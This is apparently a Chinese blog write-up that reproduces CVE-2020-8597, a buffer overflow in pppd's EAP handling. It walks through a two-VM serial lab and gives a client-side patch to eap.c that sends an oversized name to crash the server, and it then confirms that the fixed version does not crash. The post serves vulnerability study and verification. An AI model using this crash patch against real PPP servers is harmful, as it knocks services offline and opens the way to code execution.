pppd中缓冲区溢出漏洞调试分析(CVE-2020-8597)

0x01 漏洞描述

此漏洞编号为CVE-2020-8597,未经身份验证的攻击者可以利用此漏洞在受影响的系统上远程执行任意代码并对其进行完全控制。

攻击者所需要做的就是向受攻击的ppp客户端或服务器发送未经请求的格式错误的EAP数据包。

此外,由于pppd通常以高特权运行并与内核驱动程序一起工作,因此该漏洞可能使攻击者有可能利用系统或root级特权来执行恶意代码。

此漏洞是由于在将提供的数据复制到内存之前验证输入大小时出错了。由于数据大小的验证不正确,因此任意数据都可以复制到内存中并导致内存损坏,可能导致执行恶意代码。

该漏洞存在于eap解析代码的逻辑中,特别是在eap.c中由网络输入处理程序调用的eap_request()和eap_response()函数中。

0x02 漏洞分析

这篇文章我会分析并复现CVE-2020-8597漏洞,此漏洞是pppd文件中的一个缓冲区溢出漏洞。

使用pppd最新版本,源码编译2.4.8版本的pppd文件。

为了实现这一目标,我们需要两个通过虚拟串行端口连接的虚拟机,我通常使用VirtualBox,因为它是开源的,但是在其他虚拟机管理程序上也应使用相同的配置。

我启动了两个虚拟机:

  • pppd-server
  • pppd-client

串行配置设置pppd-server如下所示:

服务器串行配置

串行配置设置pppd-client如下所示:

客户端串行配置

配置串行设置后,启动并安装选择的Linux Distribution,我使用的是了Ubuntu 19.10,任何Linux发行版都可以使用。

确保pppd-server虚拟机启动前启动pppd-clientVM。

现在我们需要测试串行连接的连通性:

测试串行连接

系统安装完成并且测试成功时,我们将需要一些软件包才能使用pppd:

# apt install build-essential gdb libssl-dev

然后,我们继续clone ppp存储库:

$ git clone https://github.com/paulusmack/ppp.git ~/ppp

现在在服务器上,我们make并安装ppp

$ git checkout ppp-2.4.8
$ cd ~/ppp
$ ./configure
$ make
# make install

现在,我们已经为服务器安装pppd了,接下来,重复步骤安装pppd-client

至此,我们pppd在两个系统上都有一个版本,然后,我们需要测试连接。

首先,在服务器上,运行以下命令:

# pppd /dev/ttyS0 9600 noauth local lock defaultroute debug nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8

接下来,在客户端上,运行以下命令:

# pppd noauth local lock defaultroute debug nodetach /dev/ttyS0 9600

现在我们应该看到连接是通的:

初始连接

接下来需要实现EAP MD5-Challenge,我们可以通过调整服务器命令并在服务器文件系统上添加文件来做到这一点。

需要添加的文件/etc/ppp/chap-secrets应该是这样的:

admin   *       password        *

解释一下:

  • admin 是用户名
  • 第一个*是服务器名称
  • password 是连接密码
  • 第二个*是客户端名称

现在,我们将服务器命令调整为:

# pppd /dev/ttyS0 9600 auth local lock defaultroute debug nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap

我们需要做的最后一件事是对pppd-clientpppd二进制文件进行一些更改,在pppd-client上,清理位置~/ppp的ppp项目:

$ make clean

然后应用以下补丁:

diff --git a/pppd/eap.c b/pppd/eap.c
index 082e953..0754597 100644
--- a/pppd/eap.c
+++ b/pppd/eap.c
@@ -75,8 +75,7 @@
 #ifndef SHA_DIGESTSIZE
 #define        SHA_DIGESTSIZE 20
 #endif
-
-
+#define PAYLOAD_SIZE 1024
 eap_state eap_states[NUM_PPP];         /* EAP state; one for each unit */
 #ifdef USE_SRP
 static char *pn_secret = NULL;         /* Pseudonym generating secret */
@@ -1392,8 +1391,8 @@ int len;
 #endif /* USE_SRP */
                eap_send_response(esp, id, typenum, esp->es_client.ea_name,
                    esp->es_client.ea_namelen);
-               break;

+               break;
        case EAPT_NOTIFICATION:
                if (len > 0)
                        info("EAP: Notification \"%.*q\"", len, inp);
@@ -1457,8 +1456,12 @@ int len;
                BZERO(secret, sizeof (secret));
                MD5_Update(&mdContext, inp, vallen);
                MD5_Final(hash, &mdContext);
-               eap_chap_response(esp, id, hash, esp->es_client.ea_name,
-                   esp->es_client.ea_namelen);
+               char payload[PAYLOAD_SIZE];
+               memset(payload, 'A', PAYLOAD_SIZE - 1);
+               payload[PAYLOAD_SIZE] = '\0';
+               eap_chap_response(esp, id, hash, payload, PAYLOAD_SIZE);
+               //eap_chap_response(esp, id, hash, esp->es_client.ea_name,
+                //   esp->es_client.ea_namelen);
                break;

 #ifdef USE_SRP

可以通过将其保存为以下文件来应用此补丁:

$ git apply client-payload.patch

client-payload.patch是我们保存了上述补丁文件名。

我选择使用修改pppd二进制文件的方法,以避免不得不编写LCP进行协商整个握手过程的ppp脚本。尽管可以使用scapy和来制作自己的pyserial客户端,但修改现有pppd二进制文件可以简化这一步骤。

现在重新编译项目:

$ ./configure
$ make
# make install

现在我们将client命令调整为:

# pppd auth local lock defaultroute debug nodetach /dev/ttyS0 960

然后我们首先运行服务器命令,然后运行以下客户端命令:

# pppd noauth local lock defaultroute debug nodetach /dev/ttyS0 9600 user notadmin password notpassword

现在在服务器上看到崩溃现场:

崩溃

现在要验证此补丁程序,因此在服务器上运行:

$ make clean
$ git checkout master
$ ./configure
$ make
# make install

然后重复最后的服务器+客户端命令,没有看到崩溃:

没有崩溃

0x03 参考资料


   转载规则


《pppd中缓冲区溢出漏洞调试分析(CVE-2020-8597)》 0xbird 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
微软SMBv3远程代码执行漏洞分析(CVE-2020-0796) 微软SMBv3远程代码执行漏洞分析(CVE-2020-0796)
0x01 漏洞描述Microsoft通过Microsoft Server Message Block 3.1.1(SMBv3)协议处理某些请求的方式中存在一个远程执行代码漏洞,成功利用此漏洞的攻击者可以在目标SMB服务器或SMB客户端上执
2020-03-16
下一篇 
Javascript基础学习总结 Javascript基础学习总结
简介JavaScript 是一种脚本语言,学一种编程语言,首先就要从这种语言的基础语法入手。本节我们就将对 JavaScript 的基础语法进行学习。 知识点 JavaScript 是什么 变量 数字与运算符 数组  null &
2019-08-27
  目录